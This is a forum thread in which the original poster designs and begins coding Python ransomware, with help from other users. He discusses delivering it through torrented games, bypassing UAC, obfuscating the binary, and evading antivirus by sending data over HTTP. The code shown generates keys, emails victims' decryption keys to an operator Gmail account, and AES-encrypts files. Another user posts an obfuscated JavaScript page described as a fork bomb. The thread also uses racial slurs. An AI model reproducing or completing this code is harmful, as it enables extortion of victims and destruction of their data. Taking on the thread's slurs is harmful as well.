User Controls
Let's talk crypto.
-
2016-03-11 at 8:34 PM UTCAnd let's put it to some interesting use. So every once in a while there's a hype on the twitter among the more seriuos infosec related accounts, mostly a set of researchers and cyber journalists that i follow, the hype is usually about the latest ransomware to hit the scene. The concept of ransomware is rather simple. 1. Deliver payload 2. Encrypt user data with public key 3. Drop a notice of extortion with instructions on how the victim may aquire the private key for decryption.
Now i can imagine you don't just hammer out a hardcore cryptographic algorithm during your lunch break with a cup of coffee. But realistically the crypto part seems to me the only thing complex about ransomware, besides if you're just encrypting personal data such as family pictures, videos, music. word and/or PDF documents you probably don't even have to worry about finding a privilege escalation exploit particular to the type of environment you're in, since the program doesn't affect any system files it could run within the context of the user that has been infected. I imagine not having to have a specific exploit for different platforms would make cross platform compatibility much more feasible. Although as is the case with Windows at least, peristence mechanisms and encrypting backup files would require admin privilege, however reflective DLL injection into a process that is allowed to escalate it's own privilege by design would be a feasible way of bypassing UAC. Furthermore, if you sacrifice the ability to dynamically update public keys and make sure the malware itself generates the ransom note, there would effectively be no need for C&C infrastructure, which is arguably better practice from an operational security standpoint at least.
All in all the biggest hurdle is the crypto part. Now luckily i can code with cheatmode on since i do python and python comes with a rather dank crypto module(PyCrypto) which incidentally has been upgraded to powerlevel >9000 as ezPyCrypto and easy it is. Say we would want to encrypt a string with 4096 bit RSA we'd do this.
from ezPyCrypto import key
myKey = key(4096)
# Export and print pubkey, you could do this for pub/priv pairs as well and write them to a file
publicKey = myKey.exportKey()
print publicKey
myNewKey = key(0)
myNewKey.importKey(publicKey)
testEnc = myNewKey.encString("Bitches don't know 'bout my crypto")
print myKey.decString(testEnc)
Now our session contains the value for our 4096 RSA encrypted string. Alternatively i could export both public and private keys, start a new session and use my public key to encrypt data on the fly. If you happen to have any experience with this or the PyCrypto module in general i'd be interested to hear how you have implemented it's functionality or any issues you encountered when working with these modules.
Now i was thinking, making a python based ransomware seems to be well within my capabilities unless i am missing a crucial piece of information(In which case i'd love to know), as such i am tempted to give this a go. With a tool like peCloak i could even add dank encoding to the compiled binary to frustrate forensics/reverse engineering efforts. Truth be told i'd probably just make the thing, push to github and get mad stars yo.
Also, general crypto and ransomware thread. -
2016-03-11 at 10:06 PM UTCLol i typed the twitter. I'mma call it the twitter from now on.
-
2016-03-13 at 10:09 AM UTCInteresting stuff. Seems like the best encryption would be your own home made encryption system, which may actually(sadly) be illegal one day.
-
2016-03-13 at 2:20 PM UTC
Interesting stuff. Seems like the best encryption would be your own home made encryption system, which may actually(sadly) be illegal one day.
Not to mention extremely complex. Poorly implemented crypto is arguably worse than no crypto at all because it provides the illusion of safety. -
2016-03-13 at 7:57 PM UTC
Interesting stuff. Seems like the best encryption would be your own home made encryption system, which may actually(sadly) be illegal one day.
Actually one of the first things people tell you when you talk about crypto in an academic or professional context is that you should never homebrew your own algorithm. There are a lot of subtleties in implementing crypto right, a lot of easy ways to make a mistake that compromises the whole system. I mean as an experiment or learning experience it's obviously perfectly fine but when you put something into production you have to ask "how confident am I that this is secure" and it's a hard question to answer. Secure would mean, or at least a criterion for being secure would be, that the best tools of cryptanalysis wouldn't be able to break it (decrypt without a key in less than the expected amount of time). And to affirm that you'd have to be abreast of the state of the art of cryptanalysis which is a big complicated field people spend their careers working on. Unless you're goofing around for kicks or to learn you're almost always better off just going with AES or RSA/AES key encapsulation.
As to OP, yeah, while novel cryptography is famously difficult using well tested implementations like you'll find in pycrypto for things like ransomware shouldn't be incredibly complex. I'd be interested in how you would propose to get whatever you were trying to extort from targets in a way that doesn't lead back to you. It's kinda hard to ask granny to go buy some bitcoin and transfer it to your account to get her family pictures back but obviously you can't just slap up a paypal account and call it a day. -
2016-03-13 at 9:19 PM UTC
As to OP, yeah, while novel cryptography is famously difficult using well tested implementations like you'll find in pycrypto for things like ransomware shouldn't be incredibly complex. I'd be interested in how you would propose to get whatever you were trying to extort from targets in a way that doesn't lead back to you. It's kinda hard to ask granny to go buy some bitcoin and transfer it to your account to get her family pictures back but obviously you can't just slap up a paypal account and call it a day.
That would imply the only people getting infected would be grannies and while there certainly would be a few to fall victim, the general population is far less computer literate as you make it seem to be. Besides you could select for demographic by carefully choosing the way in which you deliver the ransomware, for instance, binding the executable to an innocent one belonging to a game or something and distributing through torrents would mean you get people interested in games which generally means younger people. In contrast a spam campaign is far less indiscriminate. -
2016-03-13 at 9:44 PM UTCOn the subject of ransomware, http://www.darkreading.com/operations/two-biggest-reasons-ransomware-keeps-winning/d/d-id/1324631?_mc=RSS_DR_EDT
[greentext]>law enforcement has on times advised to simply pay the ransom[/greentext]
[greentext]>some law enforcement agencies have, themselves, paid ransomware operators.[/greentext]
[greentext]>some organizations are paying several thousand dollars at a time to recover systems[/greentext]
Ransomware is big business.
-
2016-03-16 at 8:09 PM UTCLooking more into the ezpyCrypto module it would seem encrypting strings is trivial but files a little more complicated. You gotta' read in a file in a particular way. Now PyCrypto's equivalent looks a little like this.
import os, random, struct
from Crypto.Cipher import AES
def encrypt_file(key, in_filename, out_filename=None, chunksize=64*1024):
""" Encrypts a file using AES (CBC mode) with the
given key.
key:
The encryption key - a string that must be
either 16, 24 or 32 bytes long. Longer keys
are more secure.
in_filename:
Name of the input file
out_filename:
If None, '<in_filename>.enc' will be used.
chunksize:
Sets the size of the chunk which the function
uses to read and encrypt the file. Larger chunk
sizes can be faster for some files and machines.
chunksize must be divisible by 16.
"""
if not out_filename:
out_filename = in_filename + '.enc'
iv = ''.join(chr(random.randint(0, 0xFF)) for i in range(16))
encryptor = AES.new(key, AES.MODE_CBC, iv)
filesize = os.path.getsize(in_filename)
with open(in_filename, 'rb') as infile:
with open(out_filename, 'wb') as outfile:
outfile.write(struct.pack('<Q', filesize))
outfile.write(iv)
while True:
chunk = infile.read(chunksize)
if len(chunk) == 0:
break
elif len(chunk) % 16 != 0:
chunk += ' ' * (16 - len(chunk) % 16)
outfile.write(encryptor.encrypt(chunk))
But i'm not sure how to translate this to ezPyCrypto. The docmentation i can find only applies to strings. -
2016-03-16 at 9:01 PM UTC
<html><head>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
<script language="JavaScript"><!--
function ZOKLock(){var h=new Array(
'<!--*******************************************',
' This page protected by Yomoma ZokLock ',
' Copyright (C) Yomoma Software Co. 2001-2002 ',
' http://www.disney.com/ ',
'********************************************-->',
//Page Begin
'6B',
't!3E 35~U42u"(38$664543GG6533;: :39y,39&.?,3E%65j03+;3813;: :39{~U42uk`tMR4543,3837#,!&$m0A39350D;38"+hq454331@S`x:,3E38+.x3C;?(62MR3544',
'@@S3731&-%:w/36-;38"+`65h1A33 1C32*27;q@SMR3E(38m0A39351A,+!0E)360739/#y}x? $)3637v2739/#62MR4543,3837#,!&$m0A39351F $02)%36`3C38!u`36)$/61',
'y!,3C;#/,343D;`GG"MRhi38(-35*&i62#3C37x07+ (:34p61`q@S3DU4244@:30.3C273E64")%36htj1E -0F!27053D3C.634543GGvou65wGG65o++;#3D-~U4244@q*#',
'*!393Em1501160F1C0B0A1C}z02(3C,0A#*!393Eoy130A0Bth3D+/,66#39og|w;*38$)34664543v39303434-w19"y0D39&30j0F+//;,383Ey1337h05#39-,3Dh1D# 3C|w3C 3E!3C~U42',
'u65%3C!3Cv44@q;/3C31i(,:+?:&?#3D}z.3D:wvo3E3D*!(3Dn3027393E"w/*/66,,32%.!;?3Ew*(/kj/3E#37$&38p{63hxyz}i62U423D/35-}zk0F0C0B1F061Eji&',
'$37+65jjy~ov61qkj;35)36#thnjsn~psoy!34!27!p{63n~7F|{o62664543v+363235h$/3931/3Cuk1A020A14zv44@my`xt39j,35)?&th.3C.,-;hs65)36383C3Em-',
'39(-th0F,34,2727hm*)"-th7Fi62x%(32!3C.?3C!wokunji$,34%65j+3E#18.362730hm/!343D,wo1A,31+"j 3Cnv660Em,31%39,kGGy`xh&$.35);#th,35%*',
'3C61m1A31/+h10%38+`1527$27,66gqs44@;3832x+iwmh{U42?+?y,39un1E%3834+h1E38"3727x0F3C/3E*`19/(##y063727%mvTJ.);j37#:xuim1E-35(!-mvTJ/ ',
'&(qsxn.3Evy#qh323C,+`(htj3D+/35383D62j0E(37h 39m-(3Dh.38(38343D;3Dj193634+-($m3C363D:vj0C-343D%393Emzgs+65jj09323D38(38(y&37:i39 30343Do`q@',
'S)3E`39jp64`"32336336:}kx34j@S%34;,j3630&p38iwp35!q33*w~i3Dx-%39(y#x6362373062)3E`39jp64`"3233633638,3D:3D62j`qiqx{thq7F6134j@S%34;,j3630&',
'p38iwpy,396132+!3C32,`n06181A0B01h0F1F0E12140F011Dm64$`U42,&3E3C`#)%/?-h7F01i-383C33+h30%38y,37;,64m1E/37,+33(y.37?gm6462MR3E(38m3003373D273E(+}hs',
'3E"$35%p3C;?(p3731&-%:w/(-2762j3134,38s6562.37/66/+*3E/,66*% ~i%35rh@S`xhi)?383330!27-or);273C$393C32po3E#)-(65jx66%3C)? 3Dw|u323D; 30',
',;,3Du27%jp{310B&?#-%*63626330$66)3D&3Ev{~64g39t@S|w.&38 gMRt66("3D39664543GG6533;: :39y,39&.?,3E%65j03+;3813;: :39{~U42uk`tMR45433D$37',
'$37?g%3D3C.xui193434123D)%1D$370F(-27q@SMRg66g`gMRt6639.+)(3CwGGTJ64g!3E 35~');
//Page End
var pw='default';
var t='\00\01\02\03\04\05\06\07\010\t\n\013\014\r\016\017\020\021\022\023\024\025\026\027\030\031\032'+
'\033\034\035\036\037\040!\042#$%&\047()*+,-./0123456789:;\074=\076?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\134]^_`abcdefghijkl'+
'mnopqrstuvwxyz{|}~€Â‚ƒ„…†‡ˆ‰Š‹ŒÂŽÂ‘’“â€â€¢â€“—˜™š›œÂžŸ*¡¢£¤¥¦§¨©ª«¬*®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÃÂÃÄÅÆÇÈÉÊËÌÃÃŽÃÃ'+
'ÑÒÓÔÕÖ×ØÙÚÛÜÃÞßà áâãäåæçèéêëìÃîïðñòóôõö÷øùúûüýþÿ';var x='0123456789ABCDEF';var i,j,xs;var c=0;
for(i=0;i<pw.length;i++)c=c^t.indexOf(pw.charAt(i));if(c!=parseInt(h[5].charAt(0)+h[5].charAt(1),16)){
}for(i=0;i<5;i++)document.writeln(h[i]);for(i=0;i<40;i++)document.writeln();
var n=pw.length;var m=0;var s='';for(j=6;j<h.length;j++){for(i=0;i<h[j].length;i++){xs=h[j].charAt(i)
if(x.indexOf(xs)>=0){i++;xs=xs+h[j].charAt(i);c=parseInt(xs,16);}else c=t.indexOf(xs);
c=c^44^t.indexOf(pw.charAt(m));m++;if(m==n)m=0;if(c==13){document.writeln(s);s='';}else if(c==10){;}else s=s+t.charAt(c);}}document.writeln(s);return true;}var ie=0;if(navigator.appName.indexOf('Microsoft')>=0)
{ie=1;ZOKLock();}function ZOKLock2(){if(ie==0)ZOKLock();}
// --></script></head><body onLoad="ZOKLock2();"></body></html> -
2016-03-16 at 9:02 PM UTCBleh, there seems to be a problem with my PyCrypto module as well, at least the parts that ezPyCrypto is trying to import.
Traceback (most recent call last):
File "C:\crypto.py", line 1, in <module>
from ezPyCrypto import key
File "C:\Python27\lib\site-packages\ezPyCrypto.py", line 72, in <module>
from Crypto.Cipher import ARC2, Blowfish, CAST, DES3, RC5 #IDEA
ImportError: cannot import name RC5
So then i tried the following with just the PyCrypto module, to generate a pub/priv keypair. But printing the key pair returns
import os, random, struct
import Crypto
import types
from Crypto.PublicKey import ElGamal, DSA, RSA
from Crypto.Util.randpool import RandomPool
from Crypto.Util.number import getPrime
from Crypto.Cipher import AES
from Crypto.Hash import MD5
def KeyGen(self, something = 512, algoPub=None, algoSess=None, **kwds):
passphrase = kwds.get('passphrase', '')
if type(something) is types.IntType:
# which public key algorithm did they choose?
if algoPub == None:
algoPub = 'RSA'
algoP = self._algosPub.get(algoPub, None)
if algoP == None:
# Whoops - don't know that one
raise Exception("AlgoPub must be one of 'ElGamel', 'RSA' or 'DSA'")
self.algoPub = algoP
self.algoPname = algoPub
# which session key algorithm?
if algoSess == None:
algoSess = 'Blowfish'
algoS = self._algosSes.get(algoSess, None)
if algoS == None:
# Whoops - don't know that session algorithm
raise Exception("AlgoSess must be one of AES/ARC2/Blowfish/CAST/DES/DES3/IDEA/RC5")
self.algoSes = algoS
self.algoSname = algoSess
# organise random data pool
self.randpool = RandomPool()
self.randfunc = self.randpool.get_bytes
# now create the keypair
results = self.makeNewKeys(something, passphrase=passphrase)
return results
elif type(something) is types.StringType:
if algoPub != None:
raise Exception("Don't specify algoPub if importing a key")
if self.importKey(something, passphrase=passphrase) == False:
raise CryptoKeyError(
"Attempted to import invalid key, or passphrase is bad")
self.randpool = RandomPool()
self.randfunc = self.randpool.get_bytes
else:
raise Exception("Must pass keysize or importable keys")
key_pair = KeyGen(1024, RSA, "pass")
print key_pair
This returns "None" but i might have some semantic errors since i nigger rigged this code from the ezPyCrypto module itself. -
2016-03-17 at 1:59 AM UTC
Bleh, there seems to be a problem with my PyCrypto module as well, at least the parts that ezPyCrypto is trying to import.
Traceback (most recent call last):
File "C:\crypto.py", line 1, in <module>
from ezPyCrypto import key
File "C:\Python27\lib\site-packages\ezPyCrypto.py", line 72, in <module>
from Crypto.Cipher import ARC2, Blowfish, CAST, DES3, RC5 #IDEA
ImportError: cannot import name RC5
So then i tried the following with just the PyCrypto module, to generate a pub/priv keypair. But printing the key pair returns
import os, random, struct
import Crypto
import types
from Crypto.PublicKey import ElGamal, DSA, RSA
from Crypto.Util.randpool import RandomPool
from Crypto.Util.number import getPrime
from Crypto.Cipher import AES
from Crypto.Hash import MD5
def KeyGen(self, something = 512, algoPub=None, algoSess=None, **kwds):
passphrase = kwds.get('passphrase', '')
if type(something) is types.IntType:
# which public key algorithm did they choose?
if algoPub == None:
algoPub = 'RSA'
algoP = self._algosPub.get(algoPub, None)
if algoP == None:
# Whoops - don't know that one
raise Exception("AlgoPub must be one of 'ElGamel', 'RSA' or 'DSA'")
self.algoPub = algoP
self.algoPname = algoPub
# which session key algorithm?
if algoSess == None:
algoSess = 'Blowfish'
algoS = self._algosSes.get(algoSess, None)
if algoS == None:
# Whoops - don't know that session algorithm
raise Exception("AlgoSess must be one of AES/ARC2/Blowfish/CAST/DES/DES3/IDEA/RC5")
self.algoSes = algoS
self.algoSname = algoSess
# organise random data pool
self.randpool = RandomPool()
self.randfunc = self.randpool.get_bytes
# now create the keypair
results = self.makeNewKeys(something, passphrase=passphrase)
return results
elif type(something) is types.StringType:
if algoPub != None:
raise Exception("Don't specify algoPub if importing a key")
if self.importKey(something, passphrase=passphrase) == False:
raise CryptoKeyError(
"Attempted to import invalid key, or passphrase is bad")
self.randpool = RandomPool()
self.randfunc = self.randpool.get_bytes
else:
raise Exception("Must pass keysize or importable keys")
key_pair = KeyGen(1024, RSA, "pass")
print key_pair
This returns "None" but i might have some semantic errors since i nigger rigged this code from the ezPyCrypto module itself.
There's a couple of issues here, the core of it seems to be that this was originally a method and now it's a function (functions don't take "self" as their first arg unless something weird is going on). If you don't need to worry about handling huge files you can use ezPyCrypto. Strings and files are isomorphic, that is one can represent the other. Consider something like this(have not run this code but should work):
from ezPyCrypto import key
def enc_file(key, in_name, out_name):
f_in = open(in_name, 'rb')
f_out = open(out_name, 'wb')
in_str = f_in.read()
out_str = key.encString(in_str)
f_out.write(out_str)
f_in.close()
f_out.close()
def dec_file(key, in_name, out_name):
f_in = open(in_name, 'rb')
f_out = open(out_name, 'wb')
in_str = f_in.read()
out_str = key.decString(in_str)
f_out.write(out_str)
f_in.close()
f_out.close()
if __name__ == '__main__':
my_key_pair = key(2048)
enc_file(my_key_pair, 'lolita.png', 'totally_innocuous_file.png')
dec_file(my_key_pair, 'totally_innocuous_file.png', 'dear_nabokov.png')
should leave you with 'lolita.png' and 'dear_nabakov.png' as two files with the same contents and 'totally_innocuous_file.png' as an encrypted version. The immediate issue is that it will read the whole source file into memory "at once" (you'll actually end up paging but that's opaque to you, it's going to hurt perf in any case) and you'll get another chunk of memory the same size plus IV and block waste tied up in the ciphertext which is a problem. But it might be good enough for your purposes. If you find you do end up needing chunking it looks like ezPyCrypto has functions that will work (the "mid-level" functions here: http://freenet.mcnabhosting.com/pyth...ail/index.html). -
2016-03-17 at 4:24 AM UTCDank, thanks Lan. Still ezPyCrypto throws an error as soon as i import the module. I'll have to update the original PyCrypto i think. Because it says:
ImportError: cannot import name RC5 -
2016-03-26 at 6:54 PM UTCAlright niggas. I've started the construction of my dank ass ransomware. I've decided to go with the PyCrypto module because it allows me a greater degree of freedom and there's excellent documentation available on it. So the basic idea is this: Once the ransomware gets delivered it's going to generate public and private key pairs and a client ID. The victim's data will be encrypted with the public key and the ransomware is going to send the client ID and private key to a C&C. Now since i don't feel like hosting a C&C server/website i've decided to use gmail as C&C basically. Since this is just a proof of concept it will do.
So once everything has been encrypted on the client's end the malware is going to drop the ransom demand and in the note there will be the client ID which the victim must relay to the operator to recieve the related key and decrypting binary. here's what i got so far:
import os
import random
import struct
import smtplib
import string
import datetime
import time
from Crypto.Cipher import AES
from Crypto.PublicKey import RSA
ID = ''
key = RSA.generate(2048)
exKey = RSA.exportKey('PEM')
def gen_client_ID(size=12, chars=string.ascii_uppercase + string.digits):
global ID
ID = ''.join(random.choice(chars) for _ in range(size))
def send_ID_Key():
ts = datetime.datetime.now()
SERVER = "smtp.gmail.com"
PORT = 587
USER= "address@gmail.com" # Specify Username Here
PASS= "prettyflypassword" # Specify Password Here
FROM = USER
TO = ["address@gmail.com"]
SUBJECT = "Ransomware data: "+str(ts)
MESSAGE = """\Client ID: %s Decryption Key: %s """ % (ID, exKey)
message = """\ From: %s To: %s Subject: %s %s """ % (FROM, ", ".join(TO), SUBJECT, MESSAGE)
try:
server = smtplib.SMTP()
server.connect(SERVER, PORT)
server.starttls()
server.login(USER, PASS)
server.sendmail(FROM, TO, message)
server.quit()
except Exception as e:
# print e
pass
#
# Code to enumerate files goes here.
#
def encrypt_file(key, in_filename, out_filename=None, chunksize=64*1024):
if not out_filename:
out_filename = in_filename + '.enc'
iv = ''.join(chr(random.randint(0, 0xFF)) for i in range(16))
encryptor = AES.new(key, AES.MODE_CBC, iv)
filesize = os.path.getsize(in_filename)
with open(in_filename, 'rb') as infile:
with open(out_filename, 'wb') as outfile:
outfile.write(struct.pack('<Q', filesize))
outfile.write(iv)
while True:
chunk = infile.read(chunksize)
if len(chunk) == 0:
break
elif len(chunk) % 16 != 0:
chunk += ' ' * (16 - len(chunk) % 16)
outfile.write(encryptor.encrypt(chunk))
#
# Calling functions will start here
#
Next up i'll have to figure out a way to enumerate all the files we'd like to encrypt and then figure out how to do so for each individual file in sequence. Dropping the ransom note should be easy enough, i'll just write a textfile. After that i can see about privilege escalation maybe, also because i'm not sure whether an unelevated process can write out files just like that and of course for MAX PAYNE i should encrypt backup files and such.
Also, i haven't tested my code yet but if you see any errors or got any tips on enumerating the files i'd like i'd be happy to hear them. -
2016-03-27 at 11:19 PM UTCI just had a better idea, i could use the mechanize module because HTTP > SMTP. Maybe i'll just log in to gmail and have mechanize save a concept email or something.
-
2016-03-28 at 1 AM UTCWhy is HTTP preferable to SMTP? The latter would seem to be the simpler solution
-
2016-03-28 at 1:29 PM UTC
Why is HTTP preferable to SMTP? The latter would seem to be the simpler solution
It is in general but there are a number of AV solutions that intercept SMTP traffic, like Avast! If it looks like regular HTTP traffic it would arouse less suspicion. Also as far as modules that deal with HTTP are concerned, mechanize is really straightforward. -
2016-03-28 at 3:34 PM UTC
It is in general but there are a number of AV solutions that intercept SMTP traffic, like Avast! If it looks like regular HTTP traffic it would arouse less suspicion. Also as far as modules that deal with HTTP are concerned, mechanize is really straightforward.
Did you run my encrypted script?
-
2016-03-28 at 8:46 PM UTC
Did you run my encrypted script?
Nope. And this is not the first time you posted that, i know what it's supposed to do. What's more, anyone with half a brain knows better than to run heavily obfuscated code just like that. -
2016-03-28 at 9:31 PM UTC
-
2016-03-28 at 10:57 PM UTC
Nope. And this is not the first time you posted that, i know what it's supposed to do. What's more, anyone with half a brain knows better than to run heavily obfuscated code just like that.
It's basically harmless. Just a fork bomb. You get three chances to answer the question and then all your system memory gets eaten up.